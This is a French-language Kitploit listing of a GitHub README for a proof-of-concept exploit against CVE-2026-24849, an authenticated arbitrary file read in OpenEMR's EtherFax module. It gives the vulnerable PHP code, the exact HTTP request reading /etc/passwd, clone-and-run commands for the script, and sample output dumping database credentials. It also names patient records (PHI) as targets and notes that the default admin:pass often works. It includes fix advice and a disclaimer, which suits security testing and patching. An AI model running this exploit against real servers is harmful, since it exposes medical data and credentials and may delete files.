Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24849 — Preuve de concept d'exploitation pour CVE-2026-24849, une traversée de répertoire / lecture de fichier arbitraire authentifiée dans le module Fax/SMS (EtherFax) d'OpenEMR. Tout utilisateur authentifié, quel que soit son niveau de privilège, peut lire des fichiers arbitraires du système de fichiers du serveur en tant qu'utilisateur du serveur web (identifiants de base de données, documents/PHI des patients, /etc/passwd, …) | Kitploit
Outils/GitHubGitHub/doany1/cve-2026-24849
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsTests d'Intrusion
GitHubdoany1/cve-2026-24849

CVE-2026-24849

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept d'exploitation pour CVE-2026-24849, une traversée de répertoire / lecture de fichier arbitraire authentifiée dans le module Fax/SMS (EtherFax) d'OpenEMR. Tout utilisateur authentifié, quel que soit son niveau de privilège, peut lire des fichiers arbitraires du système de fichiers du serveur en tant qu'utilisateur du serveur web (identifiants de base de données, documents/PHI des patients, /etc/passwd, …)

Voir le dépôt
il y a 2 moisPas encore vérifié
Partager

CVE-2026-24849 OpenEMR Lecture Arbitraire de Fichiers Authentifiée (EtherFax disposeDoc)

Testé sur : OpenEMR Version = 7.0.2

Exploit de preuve de concept pour CVE-2026-24849, un parcours de chemin authentifié / lecture arbitraire de fichiers dans le module Fax/SMS (EtherFax) d'OpenEMR. Tout utilisateur authentifié, quel que soit son niveau de privilège, peut lire des fichiers arbitraires du système de fichiers du serveur en tant qu'utilisateur du serveur web (identifiants de base de données, documents patients/PHI, /etc/passwd, …).

CVECVE-2026-24849
VulnérabilitéParcours de chemin / Lecture arbitraire de fichiers (CWE-22)
ComposantEtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
AffectéOpenEMR < 7.0.4
Corrigé dansOpenEMR 7.0.4
AuthentificationRequise – tout utilisateur, aucun privilège nécessaire
SévéritéNVD 6.5 (Moyen) / GitHub CNA 9.9 (Critique)
Testé surOpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4

La vulnérabilité

La méthode disposeDoc() du module Fax/SMS prend un paramètre de requête file_path fourni par l'appelant, confirme l'existence du fichier, et le transmet directement à readfile() sans canonicalisation du chemin, sans liste blanche, et sans vérification d'autorisation au-delà du fait de posséder une session valide :

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // contrôlé par l'attaquant, non validé
    if (file_exists($where)) {
        ...
        readfile($where);    // lecture arbitraire de fichier en tant qu'utilisateur web
        unlink($where);      // ⚠ supprime le fichier après lecture (voir avertissement ci-dessous)
        exit;
    }
    die('Problem with download. Use browser back button');
}

Le gestionnaire est atteint via le répartiteur du module avec un chemin absolu dans file_path (aucune traversée ../ nécessaire) :

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

Impact

Un compte à faibles privilèges (ou par défaut) devient une primitive de lecture de fichiers côté serveur complète :

  • Identifiants de base de données sites/default/sqlconf.php
  • Dossiers patients / PHI tout ce qui se trouve sous sites/<site>/documents/, même lorsque ce répertoire est Deny from all dans .htaccess (la lecture se fait sur le disque, contournant Apache)
  • Fichiers système /etc/passwd, code source de l'application, clés/tokens lisibles par l'utilisateur web

⚠️ Comportement destructif

disposeDoc() appelle unlink($where) après avoir lu le fichier. Lire un fichier que l'utilisateur du serveur web est autorisé à supprimer le supprimera. Cibler des fichiers appartenant à root (par exemple /etc/passwd, sqlconf.php sur la plupart des installations) – leur répertoire parent n'est pas inscriptible par l'utilisateur web, donc unlink() échoue et le fichier survit. Soyez délibéré sur ce que vous pointez avec cela.

Prérequis

  • Identifiants OpenEMR valides (n'importe quel niveau de privilège – le défaut admin:pass fonctionne souvent).
  • Le module Fax/SMS activé avec EtherFax sélectionné comme fournisseur de fax. Aucun véritable compte/identifiants EtherFax n'est requis – la lecture du fichier a lieu avant tout appel API externe.

Prérequis

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

Installation

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

Utilisation

Exécutez-le sans arguments et il demandera tout ce dont il a besoin :

root@kitploit:~
python3 CVE-2026-24849.py

Ou pilotez-le de manière non interactive avec des options :

root@kitploit:~
# lire un seul fichier
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# récupérer les identifiants de la base de données et les enregistrer dans un fichier
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

Options

Si -f est omis, l'outil entre dans une boucle de lecture interactive pour récupérer plusieurs fichiers en une seule session.

Exemple

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

Comment ça fonctionne

  1. Se connecte avec requests, en conservant la session dans son propre cookie jar (évite la rotation de l'ID de session du navigateur qui rend les cookies copiés obsolètes).
  2. Confirme l'accès en lisant un fichier de sonde sûr appartenant à root – distinguant clairement mauvais identifiants vs module non activé vs succès.
  3. Envoie la requête de lecture disposeDoc, en essayant automatiquement disposeDoc et disposeDocument (le nom de la méthode diffère selon les versions mineures affectées).

Correction

  • Mettez à jour vers OpenEMR 7.0.4 ou ultérieur. Le correctif canonicalise le chemin, le confine dans un répertoire autorisé et ajoute une véritable vérification d'autorisation.
  • Changez les identifiants par défaut et imposez une réinitialisation du mot de passe lors de la première connexion.
  • Gardez les secrets et les documents patients en dehors de la racine web ; ne comptez pas sur .htaccess comme seul contrôle.

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite et écrite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de tout dommage causé par ce logiciel. Notez le comportement destructeur de unlink() décrit ci-dessus.

Références

  • Avis de sécurité GitHub
  • NVD
  • Éditeur

Auteur

doany1

Licence

MIT – voir LICENSE.

Télécharger l’outil
OptionDescriptionDéfaut
-t, --targetURL de base, p.ex. http://10.10.10.10demandé
-u, --userNom d'utilisateur OpenEMRadmin
-P, --passwordMot de passe OpenEMRdemandé (caché)
-s, --siteIdentifiant de site OpenEMRdefault
-f, --fileChemin absolu du fichier distant à lireboucle interactive si omis
-o, --outputEnregistrer le fichier récupéré localement au lieu de l'afficher